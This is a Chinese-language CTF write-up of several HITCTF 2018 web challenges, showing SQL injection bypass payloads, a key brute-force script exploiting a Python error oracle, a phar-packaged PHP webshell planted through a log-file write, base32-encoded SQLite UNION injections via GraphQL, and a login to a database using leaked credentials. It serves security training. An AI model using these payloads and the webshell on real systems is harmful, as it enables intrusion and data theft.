美文网首页Writeup
[hitctf] Web Writeup

[hitctf] Web Writeup

作者: Pr0ph3t | 来源:发表于2018-02-03 03:25 被阅读295次

    PHP reading

    PHP reading
    • 上扫描器扫出index.php.bak 下载"源码"
    <?php 
        eval(base64_decode('JGZsYWc9JF9HRVRbJ2FzZGZnanh6a2FsbGdqODg1MiddO2lmKCRmbGFnPT0nSDFUY3RGMjAxOEV6Q1RGJyl7ZGllKCRmbGFnKTt9ZGllKCdlbW1tbScpOw=='))
    ?>
    

    里面的内容base64decode之后是源码

    $flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');
    

    输入urlhttp://198.13.58.35:8899?asdfgjxzkallgj8852= H1TctF2018EzCTF之后得到flag

    BabyEval

    BabyEval
    • 进入之后查看html源码发现题目源码
    <!--
    $str=@(string)$_GET['str'];
    blackListFilter($black_list, $str);
    eval('$str="'.addslashes($str).'";');
    -->
    
    $aaa = 'phpinfo';
    $b = 'aaa';
    echo $$b; //输出phpinfo
    
    ////////////
    
    $a = 'phpinfo';
    $b = 'aaa';
    echo ${$b}; //也输出phpinfo
    //则以下也是正确的
    echo ${'aaa'}; //也输出phpinfo
    echo ${'a'+'aa'}; //也输出phpinfo
    
    try

    做了一下尝试,花括号内是可以执行运算的,并且会强制类型转换成字符串,猜测是类似一个eval再强制转换成字符串?留个坑...以后研究源码的时候再看看....

    BabyLeakage

    BabyLeakage
    • 题目疯狂引导我们去使应用出错 通知
      锦囊
    • 首先试一试url方面


      route_error
    • 逐个尝试之后在news/auth路由下发现了一个奇怪的报错


      error
      其中更是爆出了mysql的账号密码 info
    • 我们探测一下该ip的mysql默认端口的情况 mysql-3306
    • 既然开启的话我们尝试远程登录


      mysql-login

      bingo!

    • 最后在F1agIsHere库的表描述下找到flag

    mysql> use F1agIsHere;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    
    Database changed
    mysql> show tables;
    +----------------------+
    | Tables_in_F1agIsHere |
    +----------------------+
    | a                    |
    | f                    |
    | g                    |
    | l                    |
    +----------------------+
    4 rows in set (0.05 sec)
    
    mysql> describe f;
    +-------+------+------+-----+---------+-------+
    | Field | Type | Null | Key | Default | Extra |
    +-------+------+------+-----+---------+-------+
    | H     | text | YES  |     | NULL    |       |
    | I     | text | YES  |     | NULL    |       |
    | TC    | text | YES  |     | NULL    |       |
    | T     | text | YES  |     | NULL    |       |
    | F     | text | YES  |     | NULL    |       |
    +-------+------+------+-----+---------+-------+
    5 rows in set (0.04 sec)
    
    mysql> describe l;
    +---------+------+------+-----+---------+-------+
    | Field   | Type | Null | Key | Default | Extra |
    +---------+------+------+-----+---------+-------+
    | {       | text | YES  |     | NULL    |       |
    | C10se_  | text | YES  |     | NULL    |       |
    | Debu91n | text | YES  |     | NULL    |       |
    +---------+------+------+-----+---------+-------+
    3 rows in set (0.05 sec)
    
    mysql> describe a;
    +----------+------+------+-----+---------+-------+
    | Field    | Type | Null | Key | Default | Extra |
    +----------+------+------+-----+---------+-------+
    | fo_Is_Im | text | YES  |     | NULL    |       |
    | mmp      | text | YES  |     | NULL    |       |
    | ort      | text | YES  |     | NULL    |       |
    +----------+------+------+-----+---------+-------+
    3 rows in set (0.05 sec)
    
    mysql> describe g;
    +-------+------+------+-----+---------+-------+
    | Field | Type | Null | Key | Default | Extra |
    +-------+------+------+-----+---------+-------+
    | 4n7   | text | YES  |     | NULL    |       |
    | }     | text | YES  |     | NULL    |       |
    +-------+------+------+-----+---------+-------+
    2 rows in set (0.06 sec)
    
    mysql> 
    

    BabyInjection

    BabyInjection
    • 题目给了源码
    <?php
    error_reporting(0);
    
    if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
        echo 'Login and get the flag';
        echo '<form action="" method="post">'."<br/>";
        echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
        echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
        echo '<input type="submit" ></input>'."<br/>";
        echo '</form>'."<br/>";
        die;
    }
    
    $flag = '';
    $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";
    
    $username = $_POST['username'];
    $passwd = $_POST['passwd'];
    if (preg_match("/".$filter."/is",$username)==1){
        die("Hacker hacker hacker~");
    }
    if (preg_match("/".$filter."/is",$passwd)==1){
        die("Hacker hacker hacker~");
    }
    
    $conn = mysqli_connect();
    
    $query = "SELECT * FROM users WHERE username='{$username}';";
    echo $query."<br>";
    $query = mysqli_query($conn, $query);
    if (mysqli_num_rows($query) == 1){
        $result = mysqli_fetch_array($query);
        if ($result['passwd'] == $passwd){
            die('you did it and this is your flag: '.$flag);
        }
        else{
            die('Wrong password');
        }
    }
    else{
        die('Wrong username');
    }
    
    • ban掉了很多关键字
      而且从ban list里面感觉到出题人并不是想我们找出真正的密码,而是单纯的绕过,是以前碰到的一个题目的套路,首先可以用group by passwd with rollup来制造一个空行(利用统计函数,查询结果多一行并且passwd为空),这里本来可以直接用limit筛选出我们需要的那个空行,但是这里limit被ban了,没关系,还可以用having子句来筛选出我们需要的带有空字段的行,因为having子句是再分组查询之后再执行的,所以最后post payload如下username='|| 1 group by passwd with rollup having passwd is null#&passwd=
    mysql> use test;
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    
    Database changed
    mysql> describe test;
    +-------+--------------+------+-----+---------+-------+
    | Field | Type         | Null | Key | Default | Extra |
    +-------+--------------+------+-----+---------+-------+
    | id    | int(11)      | NO   | PRI | NULL    |       |
    | phone | varchar(255) | YES  |     | NULL    |       |
    +-------+--------------+------+-----+---------+-------+
    2 rows in set (0.00 sec)
    
    mysql> select * from test;
    +----+---------+
    | id | phone   |
    +----+---------+
    |  1 | ' or 1# |
    +----+---------+
    1 row in set (0.00 sec)
    
    mysql> select id,phone from test where id=0 or 1 group by id,phone with rollup;
    +----+---------+
    | id | phone   |
    +----+---------+
    |  1 | ' or 1# |
    |  1 | NULL    |
    | NULL | NULL    |
    +----+---------+
    3 rows in set (0.00 sec)
    
    mysql> select id,phone from test where id=0 or 1 group by id with rollup;
    +----+---------+
    | id | phone   |
    +----+---------+
    |  1 | ' or 1# |
    | NULL | ' or 1# |
    +----+---------+
    2 rows in set (0.00 sec)
    
    mysql> select id,phone from test where id=0 or 1 group by phone with rollup;
    +----+---------+
    | id | phone   |
    +----+---------+
    |  1 | ' or 1# |
    |  1 | NULL    |
    +----+---------+
    2 rows in set (0.00 sec)
    
    mysql> select id,phone from test where id=0 or 1 group by phone with rollup having phone is null;
    +----+-------+
    | id | phone |
    +----+-------+
    |  1 | NULL  |
    +----+-------+
    1 row in set (0.01 sec)
    
    mysql> 
    

    小电影

    小电影

    ffmpeg的漏洞http://www.freebuf.com/column/142775.html
    exp : https://github.com/neex/ffmpeg-avi-m3u-xbin
    根据html源码提示利用exp去读flag文件即可

    SecurePY

    SecurePY

    hint说python的缓存,并且给了uwsgi的配置项

    http://123.206.83.157:8000/__pycache__/app.cpython-35.pyc下载源码,源码如下:

    #!/usr/bin/env python
    # visit http://tool.lu/pyc/ for more information
    from flask import Flask, request, jsonify, render_template
    from Crypto.Cipher import AES
    from binascii import b2a_hex, a2b_hex
    import os
    app = Flask(__name__)
    flag_key = os.environ['KEY']
    flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'
    
    def index():
        return render_template('index.html', flag_enc = flag_enc)
    
    index = app.route('/')(index)
    
    def getflag():
        req = request.json
        if not req:
            return jsonify(result = False)
        if None not in req:
            return jsonify(result = False)
        key = req['key']
        if len(key) != len(flag_key):
            return jsonify(result = False)
        for (x, y) in zip(key, flag_key):
            if ord(x) ^ ord(y):
                return jsonify(result = False)
        cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000')
        plain_text = cryptor.decrypt(a2b_hex(flag_enc))
        flag = plain_text.decode('utf-8').strip()
        return jsonify(result = True, flag = flag)
    
    getflag = app.route('/getflag', methods = [
        'POST'])(getflag)
    if __name__ == '__main__':
        app.run()
    
    • 首先flag是经过AES加密的,我们需要找到key去解密,而且我们得先知道key的长度(在这里很明显是16位),然后题目有一处逐位比较的地方,ord(x) ^ ord(y),通过这个地方我们能一位位构造爆破,但是问题是我们如何区别爆破成功和爆破失败?
    • 这里涉及到python的序列化json后转换的对象问题,https://docs.python.org/3/library/json.html#encoders-and-decoders
      如果遇到null就会被转换成None,遇到ord(None)的时候python就会抛出错误 error 尝试一下 500 error
      return false
      这样的话我们就能够根据是否500来爆破我们需要的key了
      爆破脚本
    import requests
    
    se = requests.Session()
    
    key = [None,None,None,None,None,None,None,None,None,None,None,None,None,None,None,None]
    realkey = ''
    
    for x in xrange(0,16):
        for y in xrange(32,128):
            key[x] = str(chr(y))
            test = {"key" : key}
            res = se.post('http://123.206.83.157:8000/getflag',json=test)
            # print res.content
            # exit()
            if '500' in res.content:
                print str(chr(y))
                realkey += str(chr(y))
                break
    print realkey
    

    得到key : 5ecur3pPYpyPYk3y
    提交之后得到flag

    参考:https://chybeta.github.io/2017/09/05/TWCTF-2017-Super-Secure-Storage-writeup/

    BabyWrite

    BabyWrite
    index.php
    • 一看到这个url就想到了这个login很有可能是login.php被包含进来的, 遂直接访问login.php发现是可以的,所以直接用伪协议读取文件内容


      php wrapper

      源码如下:

    <!DOCTYPE html>
    <html>
    <head>
        <title>CTF</title>
    </head>
    <body>
    
        ��解�����
        <form action="login.php" method="POST">
            ��� : <input name="username" placeholder="username"><br/>
            å¯�ç � : <input name="password" placeholder="password"><br/><br/>
            <input type="submit" value="��">
        </form>
    </body>
    </html>
    
    <?php
        require_once('config.php');
        if(isset($_POST['username']) && isset($_POST['password'])){
            $username = $_POST['username'];
            $password = $_POST['password'];
            if ($username === "admin" && sha1(md5($password)) === $admin_hash){
                echo '<script>alert("Login seccess!");</script>';
            }else{
                if (isset($_GET['debug'])){
                    if($_GET['debug'] === 'hitctf'){
                        $logfile = "log/".$username.".log";
                        $content = $username." => ".$password;
                        file_put_contents($logfile, $content);
    
                    }else{
                        echo '<script>alert("Login failed!");</script>';
                    }
                }else{
                    echo '<script>alert("Login failed!");</script>';
                }
            }
        }else{
            echo '<script>alert("Please input username and password!");</script>';
        }
    ?>
    
    • 从源码我们可以知道就算我们不登录也没有啥问题,提交debug参数之后可以任意写入文件内容到log后缀的文件中,这里限定死了后缀,也就是无法直接用文件包含getShell(此题包含时后缀要求是php),但是可以利用zip和phar伪协议包含,但是这里有个问题, 题目会在文件前加上 username => password ,这样的字符串有可能会破坏文件格式导致解压失败. 一叶飘零大佬是直接构造出了zip,http://skysec.top/2018/02/01/HITCTF-WEB%E9%A2%98%E8%A7%A3/
      其实用phar也可以做, 并且不用顾及格式问题,因为phar在解压的时候先寻找stub部分,也就是<?php ?>标签内的内容(会将前面的忽略),所以只要stub结构完整就ok了
    • 构造phar
    <?php
    $p = new Phar('Pr0ph3t.phar', 0);
    $p['shit.php'] = '<?php system($_GET[\'uuu\']); ?>';
    $p->setStub('<?php __HALT_COMPILER(); ?>');
    ?>
    
    • 写入log
      post username为Pr0ph3t、password为生成的phar内容到http://120.24.215.80:10012/?page=login&debug=hitctf
      但是这里并不能直接用phar伪协议去包含,因为phar文件被修改过了,所以sha1签名对应不上,不会被解压 所以下一步是修改文件sha1

    • 下载被修改的log
      访问http://120.24.215.80:10012/log/Pr0ph3t.log得到被修改后的phar文件

      被修改之后的phar文件
      其中被选中部分是这个phar的sha1签名(http://php.net/manual/en/phar.fileformat.phar.php)
    • 计算新sha1并更改上传新phar


      旧phar
      被修改之后的phar(除去校验部分)
      计算新sha1

      更改刚才的选中部分


      新phar
      然后再次写入新phar到log
    • getShell


      getShell
    • flag在根目录下

    BabyQuery

    BabyQuery
    • 一个关于GraphQL的注入
      GraphQL的介绍http://graphql.cn/
      简单来说GraphQL就是一种介于数据库和客户端的一种类似于api的查询语言,客户并不直接告诉数据库需要的数据,而是GraphQL来告诉数据库客户需要什么数据,极大的避免了注入
    • 但是这题用GraphQL的时候没有很好的过滤完全
    • 首先getscorebyid这个操作是没问题的 id字段的内容base32encode过的,并且限制一位,无法注入 base32
    • 然后尝试看看有没有其他操作 其他操作
    • 有getscorebyyourname操作,猜测这个操作应该有name字段 不能查询id

      这个操作不能查询id,去掉

    • 正常查询 正常查询
    • 尝试一下存不存在注入
    Alice
      ||
    IFWGSY3F (base32encode)
    
    Alice' and 1 --+
      ||
    IFWGSY3FE4QGC3TEEAYSALJNFM======
    
    Alice' and 0 --+
      ||
    IFWGSY3FE4QGC3TEEAYCALJNFM======
    
    Alice' and 1 --+
    Alice' and 0 --+

    是存在注入的

    • 下一步就是判断数据库类型
    a' union select version() --+
      ||
    METSA5LONFXW4IDTMVWGKY3UEB3GK4TTNFXW4KBJEAWS2KY=
    
    a' union select version() --+

    不是mysql

    a' union select sqlite_version() --+
      ||
    METSA5LONFXW4IDTMVWGKY3UEBZXC3DJORSV65TFOJZWS33OFAUSALJNFM======
    
    a' union select sqlite_version() --+

    确认数据库为sqlite

    a' union select group_concat(name) from sqlite_master where type='table' --+
      ||
    METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDOMFWWKKJAMZZG63JAONYWY2LUMVPW2YLTORSXEIDXNBSXEZJAOR4XAZJ5E52GCYTMMUTSALJNFM======
    
    a' union select group_concat(name) from sqlite_master where type='table' --+
    a' union select group_concat(sql) from sqlite_master where type='table' and name='Secr3t_fl4g'--+
      ||
    METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDTOFWCSIDGOJXW2IDTOFWGS5DFL5WWC43UMVZCA53IMVZGKIDUPFYGKPJHORQWE3DFE4QGC3TEEBXGC3LFHUTVGZLDOIZXIX3GNQ2GOJZNFUVQ====
    
    a' union select group_concat(sql) from sqlite_master where type='table' and name='Secr3t_fl4g'--+
    • getFlag
    a' union select group_concat(flag) from Secr3t_fl4g --+
      ||
    METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDGNRQWOKJAMZZG63JAKNSWG4RTORPWM3BUM4QC2LJL
    
    getFlag

    感觉自己越打越菜了....Orz...........

    相关文章

      网友评论

        本文标题:[hitctf] Web Writeup

        本文链接:https://www.haomeiwen.com/subject/xuxyzxtx.html